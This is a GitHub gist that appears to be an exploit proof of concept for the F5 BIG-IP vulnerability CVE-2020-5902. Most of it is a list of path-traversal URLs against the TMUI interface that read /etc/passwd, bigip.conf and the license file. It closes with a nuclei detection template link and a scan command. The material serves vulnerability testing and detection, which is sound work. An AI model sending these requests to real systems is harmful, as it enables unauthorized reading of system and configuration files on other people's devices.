Skip to content

Instantly share code, notes, and snippets.

@vxrv

vxrv/CVE-2020-5902.md

Forked from cihanmehmet/CVE-2020-5902.md
Created July 5, 2020 21:46
Show Gist options
  • Save vxrv/0de65a650f5d963e7196b340362832e2 to your computer and use it in GitHub Desktop.
Save vxrv/0de65a650f5d963e7196b340362832e2 to your computer and use it in GitHub Desktop.
Download ZIP
BIGIP CVE-2020-5902 Exploit POC
Raw
CVE-2020-5902.md

BIGIP CVE-2020-5902 Exploit POC

https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://{host}/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
https://{host}/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabId=jaffa
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license
https://{host}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

Nuclei Detect CVE-2020-5902

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/CVE-2020-5902.yaml

nuclei -t ~/tool/nuclei/nuclei-templates/cves/CVE-2020-5902.yaml -l https.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment